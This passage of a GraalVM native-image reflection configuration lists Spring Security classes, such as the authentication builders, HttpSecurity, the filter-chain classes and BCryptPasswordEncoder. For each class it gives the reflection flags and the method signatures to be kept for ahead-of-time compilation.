\"name\":\"org.springframework.security.config.annotation.authentication.ProviderManagerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"authenticationEventPublisher\",\"parameterTypes\":[\"org.springframework.security.authentication.AuthenticationEventPublisher\"] }, {\"name\":\"authenticationProvider\",\"parameterTypes\":[\"org.springframework.security.authentication.AuthenticationProvider\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"eraseCredentials\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"getDefaultUserDetailsService\",\"parameterTypes\":[] }, {\"name\":\"isConfigured\",\"parameterTypes\":[] }, {\"name\":\"ldapAuthentication\",\"parameterTypes\":[] }, {\"name\":\"parentAuthenticationManager\",\"parameterTypes\":[\"org.springframework.security.authentication.AuthenticationManager\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"authenticationManagerBuilder\",\"parameterTypes\":[\"org.springframework.security.config.annotation.ObjectPostProcessor\",\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"enableGlobalAuthenticationAutowiredConfigurer\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"initializeAuthenticationProviderBeanManagerConfigurer\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"initializeUserDetailsBeanManagerConfigurer\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setGlobalAuthenticationConfigurers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setObjectPostProcessor\",\"parameterTypes\":[\"org.springframework.security.config.annotation.ObjectPostProcessor\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration$DefaultPasswordEncoderAuthenticationManagerBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"inMemoryAuthentication\",\"parameterTypes\":[] }, {\"name\":\"jdbcAuthentication\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"userDetailsService\",\"parameterTypes\":[\"org.springframework.security.core.userdetails.UserDetailsService\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration$EnableGlobalAuthenticationAutowiredConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.AuthenticationManagerBeanRegistrationAotProcessor\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.EnableGlobalAuthentication\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.GlobalAuthenticationConfigurerAdapter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"configure\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"configure\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\"] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.InitializeAuthenticationProviderBeanManagerConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configuration.InitializeUserDetailsBeanManagerConfigurer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.SecurityBuilder\"] }, {\"name\":\"init\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configurers.ldap.LdapAuthenticationProviderConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configurers.provisioning.InMemoryUserDetailsManagerConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configurers.provisioning.JdbcUserDetailsManagerConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configurers.userdetails.DaoAuthenticationConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.authentication.configurers.userdetails.UserDetailsAwareConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.configuration.AutowireBeanFactoryObjectPostProcessor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterSingletonsInstantiated\",\"parameterTypes\":[] }, {\"name\":\"destroy\",\"parameterTypes\":[] }, {\"name\":\"postProcess\",\"parameterTypes\":[\"java.lang.Object\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.configuration.ObjectPostProcessorConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"objectPostProcessor\",\"parameterTypes\":[\"org.springframework.beans.factory.config.AutowireCapableBeanFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.AuthorizationProxyConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"authorizationProxyFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\"] }, {\"name\":\"authorizeReturnObjectMethodInterceptor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.security.authorization.method.AuthorizationAdvisorProxyFactory\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.MethodSecurityAdvisorRegistrar\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.MethodSecuritySelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"postAuthorizeAuthorizationMethodInterceptor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration\",\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"postFilterAuthorizationMethodInterceptor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration\",\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"preAuthorizeAuthorizationMethodInterceptor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration\",\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"preFilterAuthorizationMethodInterceptor\",\"parameterTypes\":[\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.beans.factory.ObjectProvider\",\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration\",\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setImportMetadata\",\"parameterTypes\":[\"org.springframework.core.type.AnnotationMetadata\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.method.configuration.PrePostMethodSecurityConfiguration$DeferringMethodInterceptor\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getAdvice\",\"parameterTypes\":[] }, {\"name\":\"getOrder\",\"parameterTypes\":[] }, {\"name\":\"getPointcut\",\"parameterTypes\":[] }, {\"name\":\"invoke\",\"parameterTypes\":[\"org.aopalliance.intercept.MethodInvocation\"] }, {\"name\":\"isPerInstance\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.HttpSecurityBuilder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.builders.HttpSecurity\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"addFilter\",\"parameterTypes\":[\"jakarta.servlet.Filter\"] }, {\"name\":\"addFilterAfter\",\"parameterTypes\":[\"jakarta.servlet.Filter\",\"java.lang.Class\"] }, {\"name\":\"addFilterBefore\",\"parameterTypes\":[\"jakarta.servlet.Filter\",\"java.lang.Class\"] }, {\"name\":\"authenticationProvider\",\"parameterTypes\":[\"org.springframework.security.authentication.AuthenticationProvider\"] }, {\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"setSharedObject\",\"parameterTypes\":[\"java.lang.Class\",\"java.lang.Object\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"userDetailsService\",\"parameterTypes\":[\"org.springframework.security.core.userdetails.UserDetailsService\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.builders.HttpSecurity$RequestMatcherConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.builders.WebSecurity\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setServletContext\",\"parameterTypes\":[\"jakarta.servlet.ServletContext\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.builders.WebSecurity$IgnoredRequestConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.EnableWebSecurity\",\n  \"queryAllDeclaredMethods\":true\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.HttpSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"httpSecurity\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"setAuthenticationConfiguration\",\"parameterTypes\":[\"org.springframework.security.config.annotation.authentication.configuration.AuthenticationConfiguration\"] }, {\"name\":\"setContentNegotiationStrategy\",\"parameterTypes\":[\"org.springframework.web.accept.ContentNegotiationStrategy\"] }, {\"name\":\"setObjectPostProcessor\",\"parameterTypes\":[\"org.springframework.security.config.annotation.ObjectPostProcessor\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.OAuth2ImportSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.SpringWebMvcImportSelector\",\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebMvcSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"addArgumentResolvers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"requestDataValueProcessor\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }, {\"name\":\"springSecurityHandlerMappingIntrospectorBeanDefinitionRegistryPostProcessor\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebMvcSecurityConfiguration$1\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanDefinitionRegistry\",\"parameterTypes\":[\"org.springframework.beans.factory.support.BeanDefinitionRegistry\"] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebMvcSecurityConfiguration$CompositeFilterChainProxy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"getFilterChains\",\"parameterTypes\":[] }, {\"name\":\"getFilters\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setFilterChainDecorator\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy$FilterChainDecorator\"] }, {\"name\":\"setFilterChainValidator\",\"parameterTypes\":[\"org.springframework.security.web.FilterChainProxy$FilterChainValidator\"] }, {\"name\":\"setFirewall\",\"parameterTypes\":[\"org.springframework.security.web.firewall.HttpFirewall\"] }, {\"name\":\"setRequestRejectedHandler\",\"parameterTypes\":[\"org.springframework.security.web.firewall.RequestRejectedHandler\"] }, {\"name\":\"setSecurityContextHolderStrategy\",\"parameterTypes\":[\"org.springframework.security.core.context.SecurityContextHolderStrategy\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebMvcSecurityConfiguration$HandlerMappingIntrospectorCacheFilterFactoryBean\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"getObject\",\"parameterTypes\":[] }, {\"name\":\"getObjectType\",\"parameterTypes\":[] }, {\"name\":\"setApplicationContext\",\"parameterTypes\":[\"org.springframework.context.ApplicationContext\"] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebSecurityConfiguration\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"conversionServicePostProcessor\",\"parameterTypes\":[] }, {\"name\":\"delegatingApplicationListener\",\"parameterTypes\":[] }, {\"name\":\"privilegeEvaluator\",\"parameterTypes\":[] }, {\"name\":\"setBeanClassLoader\",\"parameterTypes\":[\"java.lang.ClassLoader\"] }, {\"name\":\"setFilterChainProxySecurityConfigurer\",\"parameterTypes\":[\"org.springframework.security.config.annotation.ObjectPostProcessor\",\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"setFilterChains\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"setImportMetadata\",\"parameterTypes\":[\"org.springframework.core.type.AnnotationMetadata\"] }, {\"name\":\"setWebSecurityCustomizers\",\"parameterTypes\":[\"java.util.List\"] }, {\"name\":\"springSecurityFilterChain\",\"parameterTypes\":[] }, {\"name\":\"webSecurityExpressionHandler\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configuration.WebSecurityCustomizer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.AnonymousConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.AuthorizeHttpRequestsConfigurer$AuthorizationManagerRequestMatcherRegistry\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.ChannelSecurityConfigurer$ChannelRequestMatcherRegistry\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.CorsConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.CsrfConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.ExceptionHandlingConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer$ExpressionInterceptUrlRegistry\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.FormLoginConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.HeadersConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.HttpBasicConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.JeeConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.LogoutConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.PortMapperConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.RememberMeConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.RequestCacheConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.SecurityContextConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.ServletApiConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.SessionManagementConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.X509Configurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.oauth2.client.OAuth2ClientConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.oauth2.client.OAuth2LoginConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.oauth2.client.OidcLogoutConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.oauth2.server.resource.OAuth2ResourceServerConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.saml2.Saml2LoginConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.saml2.Saml2LogoutConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.configurers.saml2.Saml2MetadataConfigurer\"\n},\n{\n  \"name\":\"org.springframework.security.config.annotation.web.reactive.EnableWebFluxSecurity\"\n},\n{\n  \"name\":\"org.springframework.security.config.aot.hint.OAuth2LoginRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.aot.hint.WebMvcSecurityConfigurationRuntimeHints\",\n  \"queryAllDeclaredConstructors\":true,\n  \"queryAllPublicConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.core.GrantedAuthorityDefaults\"\n},\n{\n  \"name\":\"org.springframework.security.config.crypto.RsaKeyConversionServicePostProcessor\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"postProcessBeanFactory\",\"parameterTypes\":[\"org.springframework.beans.factory.config.ConfigurableListableBeanFactory\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.config.http.SessionCreationPolicy\"\n},\n{\n  \"name\":\"org.springframework.security.context.DelegatingApplicationListener\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"onApplicationEvent\",\"parameterTypes\":[\"org.springframework.context.ApplicationEvent\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.core.Authentication\"\n},\n{\n  \"name\":\"org.springframework.security.core.AuthenticationException\"\n},\n{\n  \"name\":\"org.springframework.security.core.authority.mapping.GrantedAuthoritiesMapper\"\n},\n{\n  \"name\":\"org.springframework.security.core.context.SecurityContextHolderStrategy\"\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UserCache\"\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UserDetails\"\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UserDetailsChecker\"\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UserDetailsPasswordService\"\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UserDetailsService\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.core.userdetails.UsernameNotFoundException\"\n},\n{\n  \"name\":\"org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"encode\",\"parameterTypes\":[\"java.lang.CharSequence\"] }, {\"name\":\"matches\",\"parameterTypes\":[\"java.lang.CharSequence\",\"java.lang.String\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"upgradeEncoding\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"org.springframework.security.crypto.password.PasswordEncoder\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.data.repository.query.SecurityEvaluationContextExtension\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.client.registration.ClientRegistration\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.client.registration.ClientRegistrationRepository\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.jwt.JwtDecoder\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.server.authorization.OAuth2Authorization\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.server.resource.BearerTokenError\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.server.resource.authentication.BearerTokenAuthenticationToken\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.server.resource.introspection.OpaqueTokenIntrospector\"\n},\n{\n  \"name\":\"org.springframework.security.oauth2.server.resource.introspection.ReactiveOpaqueTokenIntrospector\"\n},\n{\n  \"name\":\"org.springframework.security.rsocket.core.SecuritySocketAcceptorInterceptor\"\n},\n{\n  \"name\":\"org.springframework.security.saml2.provider.service.registration.RelyingPartyRegistrationRepository\"\n},\n{\n  \"name\":\"org.springframework.security.web.AuthenticationEntryPoint\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.web.DefaultSecurityFilterChain\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"getFilters\",\"parameterTypes\":[] }, {\"name\":\"matches\",\"parameterTypes\":[\"jakarta.servlet.http.HttpServletRequest\"] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.FilterChainProxy\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"toFilter\",\"parameterTypes\":[] }, {\"name\":\"toString\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.FilterChainProxy$FilterChainDecorator\"\n},\n{\n  \"name\":\"org.springframework.security.web.FilterChainProxy$FilterChainValidator\"\n},\n{\n  \"name\":\"org.springframework.security.web.SecurityFilterChain\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"close\",\"parameterTypes\":[] }, {\"name\":\"shutdown\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.AccessDeniedHandler\"\n},\n{\n  \"name\":\"org.springframework.security.web.access.AuthorizationManagerWebInvocationPrivilegeEvaluator$HttpServletRequestTransformer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllPublicMethods\":true,\n  \"queryAllDeclaredConstructors\":true\n},\n{\n  \"name\":\"org.springframework.security.web.access.ExceptionTranslationFilter\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"afterPropertiesSet\",\"parameterTypes\":[] }, {\"name\":\"doFilter\",\"parameterTypes\":[\"jakarta.servlet.ServletRequest\",\"jakarta.servlet.ServletResponse\",\"jakarta.servlet.FilterChain\"] }, {\"name\":\"setMessageSource\",\"parameterTypes\":[\"org.springframework.context.MessageSource\"] }]\n},\n{\n  \"name\":\"org.springframework.security.web.access.HandlerMappingIntrospectorRequestTransformer\",\n  \"allDeclaredFields\":true,\n  \"queryAllDeclaredMethods\":true,\n  \"queryAllDeclaredConstructors\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"org.springframework.web.servlet.handler.HandlerMappingIntrospector\"] 